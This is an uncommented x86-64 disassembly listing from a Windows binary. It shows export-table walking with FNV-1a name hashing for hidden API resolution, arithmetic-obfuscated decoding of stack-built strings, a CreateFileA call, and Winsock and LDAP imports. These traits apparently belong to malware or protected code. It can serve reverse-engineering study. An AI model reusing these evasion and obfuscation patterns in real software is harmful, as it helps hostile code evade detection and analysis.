mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f4130
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f4123
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f4114
cmp edx, esi
jne 0x1401f4200
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f4200
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f4200
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4184
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f4179
cmp edx, r14d
je 0x1401f419a
test r11d, r11d
jne 0x1401f4164
jmp 0x1401f4200
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x1401f4215
lea rcx, [rax + r10]
cmp r8, rcx
jae 0x1401f4215
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x1401f41f3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x1401f41cf
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x1401f41e6
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f4212
cmp qword [rbx + 0x30], r13
jne 0x1401f40e4
mov r8, r13
mov qword [0x1404dbbf0], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov byte [rbp + 0x610], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x611], 0xc9
mov byte [rbp + 0x612], 0xf8
mov byte [rbp + 0x613], Ordinal_211
mov byte [rbp + 0x614], 0xe0
mov byte [rbp + 0x615], Ordinal_50
mov byte [rbp + 0x616], 0x46
mov byte [rbp + 0x617], 0xba
mov byte [rbp + 0x618], Ordinal_79
mov byte [rbp + 0x619], 0x9d
mov byte [rbp + 0x61a], 0xbb
mov byte [rbp + 0x61b], 0xbf
mov byte [rbp + 0x61c], 0xbd
mov byte [rbp + 0x61d], 0x9d
mov r14d, 0x40
mov byte [rbp + 0x61e], r14b
mov byte [rbp + 0x61f], 0x45
mov byte [rbp + 0x620], 0xdc
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x621], xmm0
mov qword [rbp + 0x631], rax
mov word [rbp + 0x639], ax
mov byte [rbp + 0x63b], al
movabs rsi, 0x83a725eef7f5773a
mov bl, byte [rsp + 0x50]
call fcn.14024ffe8
mov rdi, qword [rax]
call fcn.14024fff0
mov r10, qword [rax]
mov r9, r13
mov r15d, 1
cmp r9, 0x2c
jae 0x1401f4eaa
movzx r8d, byte [rbp + r9 + 0x610]
mov r11, r8
cmp rdi, r9
ja 0x1401f4ea1
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x1401f4338
lea rcx, [r9 + rsi]
mov rax, r8
and rax, rcx
imul rbx, rax, 0xfffffffffffffffe
add rbx, r8
add rbx, rcx
add bl, 0x6a
jmp 0x1401f4372
je 0x1401f4e14
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f4d8c
lea rax, [r10 + 4]
cmp rdi, rax
je 0x1401f4d5a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f4d0d
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f4ce1
cmp r10, r9
ja 0x1401f4e98
lea rax, [r10 + 6]
cmp rdi, rax
jae 0x1401f43a3
movabs rcx, 0xccb61c9a5722c7c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4e
jmp 0x1401f43d7
lea rax, [r10 + 1]
cmp rdi, rax
je 0x1401f4c9e
lea rax, [r10 + 2]
cmp rdi, rax
je 0x1401f4c7b
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f4c59
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f4c33
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x1401f490c
lea rax, [r10 + 3]
cmp rdi, rax
je 0x1401f48ea
lea rax, [r10 + 6]
cmp rdi, rax
je 0x1401f48d6
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x1401f48c2
lea rax, [r10 + 0x28]
cmp rdi, rax
je 0x1401f48ae
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x1401f488c
lea rax, [r10 + 0x3e8]
cmp rdi, rax
je 0x1401f486a
lea rax, [r10 + 0x61]
cmp rdi, rax
je 0x1401f4848
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x1401f4834
lea rcx, [r10 + 2]
cmp rdi, rcx
je 0x1401f4820
lea rax, [r10 + 5]
cmp rdi, rax
je 0x1401f43e4
mov rdi, rcx
lea r10, [rcx + 9]
lea rax, [r10 + 5]
cmp rcx, rax
jb 0x1401f4e72
lea rax, [r10 + 9]
cmp rcx, rax
jb 0x1401f4e4c
lea rax, [r10 + 0x20]
cmp rcx, rax
jb 0x1401f45e3
lea rax, [r10 + 0x42]
cmp rcx, rax
jb 0x1401f45c0
lea rax, [r10 + 0x200]
cmp rcx, rax
jb 0x1401f459d
lea rax, [r10 + 0x1000]
cmp rcx, rax
jb 0x1401f4809
lea rax, [r10 + 8]
cmp rcx, rax
jb 0x1401f47af
lea rax, [r10 + 0x10]
cmp rcx, rax
jb 0x1401f475c
lea rcx, [r10 + 0x40]
cmp rdi, rcx
jb 0x1401f4732
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x1401f43e4
mov rdi, rcx
lea r10, [rcx + 0x400]
lea rax, [r10 + 0x80]
cmp rcx, rax
ja 0x1401f4710
lea rax, [r10 + 0x400]
cmp rcx, rax
ja 0x1401f46ee
lea rax, [r10 + 0x7a]
cmp rcx, rax
ja 0x1401f46cc
lea rax, [r10 + 0x2a]
cmp rcx, rax
ja 0x1401f46a6
lea rax, [r10 + 3]
cmp rcx, rax
ja 0x1401f4680
lea rax, [r10 + 6]
cmp rcx, rax
ja 0x1401f466c
lea rax, [r10 + 0xa]
cmp rcx, rax
ja 0x1401f464a
lea rax, [r10 + 0x28]
cmp rcx, rax
ja 0x1401f4627
lea rax, [r10 + 0x64]
cmp rcx, rax
ja 0x1401f4605
lea rax, [r10 + 0x3e8]
cmp rcx, rax
ja 0x1401f43e4
lea rdi, [r10 + 0x5a]
lea r10, [rdi + 0x61]
jmp 0x1401f43e4
movabs rdx, 0x7bc198c0a247bc7e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x72
add bl, dl
jmp 0x1401f43d7
movabs rdx, 0x74734ce2b25cce0a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x46
add bl, dl
jmp 0x1401f4372
movabs rcx, 0x6d250104c271df96
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1a
jmp 0x1401f430a
movabs rcx, 0x65b0e4d2b9163e10
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x70
jmp 0x1401f4cbb
movabs rcx, 0x5e6298f4c92b4f9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x1401f4d02
movabs rcx, 0x57144d16d9406128
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x18
jmp 0x1401f4d05
movabs rdx, 0x4fc60138e95572b4
mov ecx, 0xa
jmp 0x1401f4d1c
movabs rdx, 0x4877b55af96a8440
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f4d77
movabs rdx, 0x4129697d097f95cc
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f4d7a
movabs rcx, 0x39db1d9f1994a758
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x68
jmp 0x1401f4dad
movabs rcx, 0x328cd1c129a9b8e4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x3c
jmp 0x1401f4de1
movabs rcx, 0x2b3e85e339beca70
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x10
jmp 0x1401f4e35
movabs rcx, 0x98fac83861f3764e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x22
mov byte [rbp + r9 + 0x610], bl
jmp 0x1401f4e44
movabs rdx, 0x91ac7c5a720887da
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 5
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov eax, 8
cmp r10, rax
jb 0x1401f474f
movabs rdx, 0x74991d36cbcd811c
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f4cbb
movabs rdx, 0x8a5e307c821d9966
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, 5
jae 0x1401f4be0
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x1401f4b41
movabs rcx, 0x2b8a268b6ca03094
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x1401f477d
movabs rdx, 0x830fe49e9232aaf2
add rdx, r9
mov ecx, Ordinal_50
jmp 0x1401f491e
movabs rdx, 0xcc44ab9e0ad0ae8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
jmp 0x1401f498b
movabs rdx, 0xc4f65fc01ae5c018
mov ecx, Ordinal_45
jmp 0x1401f4c42
movabs rcx, 0xbda813e22afad1a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7c
jmp 0x1401f4dad
movabs rcx, 0xb659c8043b0fe330
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x50
jmp 0x1401f4d7a
movabs rcx, 0xaf0b7c264b24f4bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x24
jmp 0x1401f4d77
movabs rdx, 0xa7bd30485b3a0648
mov ecx, 4
jmp 0x1401f4d1c
movabs rdx, 0xa06ee46a6b4f17d4
mov ecx, reloc.WLDAP32.dll_Ordinal_26
jmp 0x1401f4c8a
movabs rdx, 0x9920988c7b642960
mov ecx, Ordinal_50
jmp 0x1401f4cf0
movabs rcx, 0x91d24cae8b793aec
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x74
jmp 0x1401f4cbb
lea rax, [r10 + 0x20]
cmp rdi, rax
jae 0x1401f4973
lea rdx, [r9 + rsi]
mov ecx, gethostname
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
lea rax, [r10 + rdi]
cmp rax, 0x400
je 0x1401f4c09
lea rax, [r10 + 0x80]
cmp rdi, rax
jbe 0x1401f4a2c
movabs rdx, 0x5ed409f1157d68d2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f47d0
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f49a2
movabs rdx, 0x996c3934ae458f84
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f4e35
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f49d1
movabs rdx, 0xa808d0f08e1b6c6c
mov ecx, 6
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f4dad
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f49fc
movabs rcx, 0xaf571cce7e065ae0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x20
jmp 0x1401f4d7a
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f492d
movabs rcx, 0xb6a568ac6df14954
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x4c
jmp 0x1401f4d77
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f4a5b
movabs rdx, 0x662255cf05685746
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f4cbb
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x1401f4a87
movabs rdx, 0x7c0d3968d52922a2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6e
add bl, dl
jmp 0x1401f4d2e
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f4ab6
movabs rdx, 0x835b8546c5141116
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x33
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f4d77
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f4ae5
movabs rdx, 0x8aa9d124b4feff8a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f4d7a
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x1401f4b12
movabs rdx, 0x91f81d02a4e9edfe
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x1401f4dab
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f47d0
movabs rcx, 0x994668e094d4dc72
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x1e
jmp 0x1401f4de1
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f4b6c
movabs rcx, 0x32d872695c8b1f08
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x38
jmp 0x1401f4e35
cmp rdi, rcx
jne 0x1401f4b94
movabs rdx, 0x3a26be474c760d7c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x64
add bl, dl
jmp 0x1401f4de1
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f4bb1
movabs rdx, 0x41750a253c60fbf0
mov ecx, Ordinal_60
jmp 0x1401f49ba
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f477d
movabs rcx, 0x575fedbf0c21c74c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x1401f4d2e
movabs rdx, 0x7be76914bbb86f90
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, byte [rbp + r9 + 0x610]
jmp 0x1401f4d29
movabs rcx, 0x8335b4f2aba35e04
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, byte [rbp + r9 + 0x610]
lea ebx, [r8 + rcx]
sub bl, 0x1c
jmp 0x1401f4dad
movabs rdx, 0x7287b89d67a3b62
mov ecx, reloc.WLDAP32.dll_Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f4de1
movabs rcx, 0xf13d97f006b97006
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x2a
jmp 0x1401f4d77
movabs rdx, 0xe2a1003426e3931e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x1401f4d05
movabs rcx, 0xd4046878470db636
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x7a
movabs rcx, 0xf8404325c3c2f856
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x5a
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
jmp 0x1401f4d02
movabs rdx, 0xbe1984de774ceada
mov ecx, 5
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
add r10, r15
sub r9, r15
jmp 0x1401f4e44
movabs rdx, 0xaf7ced2297770df2
mov ecx, Ordinal_50
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
movabs rcx, 0xff8e8f03b3ade6ca
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0x3d
sub dl, al
add dl, dl
add dl, cl
add dl, bl
add dl, r8b
mov byte [rbp + r9 + 0x610], dl
jmp 0x1401f4d77
movabs rcx, 0xa82ea144a78c1f7e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
add rdi, r10
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f4e44
mov r8, r11
movabs rdx, 0x99920988c7b64296
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x1a
add bl, dl
movabs rdx, 0x6dcdae1a398d53e
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x610], al
add r10, r15
add rax, r10
sub r9, rax
movabs rcx, 0x8a8400d09b8e4c78
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x48
add cl, r8b
mov byte [rbp + r9 + 0x610], cl
add rdi, r15
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f4e35
movabs rdx, 0x8af571cce7e065ae
add rdx, r9
mov al, r11b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x610]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f42f7
movabs rdx, 0x65d6b526d286f122
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f42ee
movabs rdx, 0x5e886948e29c02ae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f42de
lea rcx, [rbp + 0x16c2108]
jmp 0x1401f4eb1
lea rcx, [rbp + 0xa19842]
jmp 0x1401f4eb1
lea rcx, [rbp + 0x610]
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
or r12, 0xffffffffffffffff
cmp rax, r12
je 0x1401f9fbc
mov byte [rbp + 0xaf0], 0x9b
mov byte [rbp + 0xaf1], 0x59
mov byte [rbp + 0xaf2], 0x80
mov byte [rbp + 0xaf3], 0x5b
mov byte [rbp + 0xaf4], 0xa0
mov byte [rbp + 0xaf5], 0x45
mov byte [rbp + 0xaf6], 0xbb
mov byte [rbp + 0xaf7], 0x47
mov byte [rbp + 0xaf8], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0xaf9], 0x41
mov byte [rbp + 0xafa], 0xaf
mov byte [rbp + 0xafb], 0x43
mov byte [rbp + 0xafc], 0xde
mov byte [rbp + 0xafd], Ordinal_79
mov byte [rbp + 0xafe], 0xdd
mov byte [rbp + 0xaff], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0xb00], 0xac
mov byte [rbp + 0xb01], Ordinal_79
mov byte [rbp + 0xb02], 0x86
mov byte [rbp + 0xb03], Ordinal_79
mov byte [rbp + 0xb04], 0x99
mov byte [rbp + 0xb05], 0x75
mov byte [rbp + 0xb06], 0x98
mov byte [rbp + 0xb07], 0x77
mov byte [rbp + 0xb08], __WSAFDIsSet
mov byte [rbp + 0xb09], WSACleanup
mov byte [rbp + 0xb0a], 0xef
mov byte [rbp + 0xb0b], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0xb0c], 0xe8
mov byte [rbp + 0xb0d], 0x7d
mov byte [rbp + 0xb0e], 0xe2
mov byte [rbp + 0xb0f], 0x7f
mov byte [rbp + 0xb10], 0x9c
mov byte [rbp + 0xb11], 0x79
mov byte [rbp + 0xb12], 0xbb
mov byte [rbp + 0xb13], 0x7b
mov byte [rbp + 0xb14], 0xf4
mov byte [rbp + 0xb15], 0x65
mov byte [rbp + 0xb16], 0xf6
mov byte [rbp + 0xb17], 0x67
mov byte [rbp + 0xb18], 0xac
mov byte [rbp + 0xb19], 0x61
mov byte [rbp + 0xb1a], 0x83
mov byte [rbp + 0xb1b], 0x63
mov byte [rbp + 0xb1c], 0xf0
mov byte [rbp + 0xb1d], WSASetLastError
mov byte [rbp + 0xb1e], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xb1f], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0xb20], Ordinal_143
mov byte [rbp + 0xb21], WSAGetLastError
mov byte [rbp + 0xb22], 0xa7
mov byte [rbp + 0xb23], WSASetLastError
mov byte [rbp + 0xb24], 0x88
mov byte [rbp + 0xb25], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0xb26], 0xfe
mov byte [rbp + 0xb27], reloc.WS2_32.dll_socket
mov byte [rbp + 0xb28], 0xfd
mov byte [rbp + 0xb29], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xb2a], 0x80
mov byte [rbp + 0xb2b], reloc.WS2_32.dll_send
mov byte [rbp + 0xb2c], 0xfd
mov byte [rbp + 0xb2d], Ordinal_32
mov byte [rbp + 0xb2e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0xb2f], Ordinal_32
mov byte [rbp + 0xb30], 0xfa
mov byte [rbp + 0xb31], Ordinal_27
mov byte [rbp + 0xb32], 0xf3
mov byte [rbp + 0xb33], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0xb34], __WSAFDIsSet
mov byte [rbp + 0xb35], 5
mov byte [rbp + 0xb36], 6
mov byte [rbp + 0xb37], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xb38], xmm0
mov qword [rbp + 0xb48], rax
mov dil, byte [rsp + 0x50]
call fcn.14024ffe8
mov rbx, qword [rax]
call fcn.14024fff0
mov r9, qword [rax]
mov r10, r13
cmp r10, 0x60
jae 0x1401f5b1d
movzx r8d, byte [rbp + r10 + 0xaf0]
mov r11d, r8d
cmp rbx, r10
ja 0x1401f5b14
lea rax, [r9 + 1]
cmp rbx, rax
jae 0x1401f5150
movabs rcx, 0xe2ff43c1b0c1bb8c
add rcx, r10
mov eax, r8d
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r8
add rdi, rcx
add dil, 0x2c
jmp 0x1401f517d
je 0x1401f5a8f
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f5a3c
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f59da
lea rax, [r9 + 3]
cmp rbx, rax
je 0x1401f59b3
cmp r9, r10
ja 0x1401f5b0b
lea rax, [r9 + 0x400]
cmp rbx, rax
jae 0x1401f51b5
movabs rcx, 0x9ef08ee37fe4627c
add rcx, r10
mov al, r8b
and al, cl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x64
add dil, cl
jmp 0x1401f51e9
lea rax, [r9 + 1]
cmp rbx, rax
je 0x1401f5969
lea rax, [r9 + 2]
cmp rbx, rax
je 0x1401f5945
lea rax, [r9 + 4]
cmp rbx, rax
je 0x1401f5922
lea rax, [r9 + 5]
cmp rbx, rax
je 0x1401f58fe
mov r11d, Ordinal_32
lea rax, [r9 + rbx]
cmp rax, r10
jbe 0x1401f551f
lea rax, [r9 + 0x41]
cmp rbx, rax
je 0x1401f54fc
lea rax, [r9 + 0x64]
cmp rbx, rax
je 0x1401f54e8
lea rax, [r9 + 8]
cmp rbx, rax
je 0x1401f54c4
lea rax, [r9 + 0x5a]
cmp rbx, rax
je 0x1401f54a0
lea rax, [r9 + 0x80]
cmp rbx, rax
je 0x1401f547d
lea rax, [r9 + 9]
cmp rbx, rax
je 0x1401f546c
lea rbx, [r9 + 4]
lea r9, [rbx + 0x2a]
lea rax, [r9 + 0x61]
cmp rbx, rax
jb 0x1401f5ae7
lea rax, [r9 + 0x40]
cmp rbx, rax
jb 0x1401f5ac4
lea rax, [r9 + 5]
cmp rbx, rax
jb 0x1401f5314
lea rax, [r9 + 0x7a]
cmp rbx, rax
jb 0x1401f5458
lea rax, [r9 + 0x42]
cmp rbx, rax
jb 0x1401f5429
lea rax, [r9 + 6]
cmp rbx, rax
jb 0x1401f51fc
lea rbx, [r9 + 2]
lea r9, [rbx + 0x41]
lea rax, [r9 + 0x10]
cmp rbx, rax
ja 0x1401f5415
lea rax, [r9 + 2]
cmp rbx, rax
ja 0x1401f53f1
lea rax, [r9 + 0x400]
cmp rbx, rax
ja 0x1401f53ce
lea rax, [r9 + 0x20]
cmp rbx, rax
ja 0x1401f53a7
lea rax, [r9 + 3]
cmp rbx, rax
ja 0x1401f5380
lea rax, [r9 + 0x1000]
cmp rbx, rax
ja 0x1401f535c
lea rax, [r9 + 0x28]
cmp rbx, rax
ja 0x1401f5339
lea rbx, [r9 + 0x80]
lea r9, [rbx + 0x28]
jmp 0x1401f51fc
movabs rdx, 0x4099ca2af930d504
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, dl
sub dil, r11b
jmp 0x1401f51ef
movabs rdx, 0xf784771bff2313e0
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x1401f5987
movabs rcx, 0x3185ef989d9f9cc8
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x78
jmp 0x1401f59ae
movabs rdx, 0x6b8768153c1c25b0
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_27
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f59d2
movabs rdx, 0x198bd18b1791c068
add rdx, r10
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x1401f5a2a
movabs rdx, 0x538d4a07b60e4950
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x1401f58c2
movabs rdx, 0x8d8ec284548ad238
mov ecx, reloc.WLDAP32.dll_Ordinal_60
add rdx, r10
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401f5a5a
movabs rdx, 0xc7903b00f3075b20
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401f560f
movabs rdx, 0x5893e8387f3eb164
add rdx, r10
mov al, r8b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
mov byte [rbp + r10 + 0xaf0], dil
jmp 0x1401f5abc
movabs rdx, 0x69851ae5ab44c1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401f553b
movabs rdx, 0xf3a4d1d19dd6d7d0
mov ecx, Ordinal_41
jmp 0x1401f5400
movabs rdx, 0x2da64a4e3c5360b8
add rdx, r10
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x1401f58c2
movabs rcx, 0x67a7c2cadacfe9a0
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x60
jmp 0x1401f5a2a
movabs rcx, 0x15ac2c40b6458458
add rcx, r10
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x68
jmp 0x1401f59d2
movabs rdx, 0x4fada4bd54c20d40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
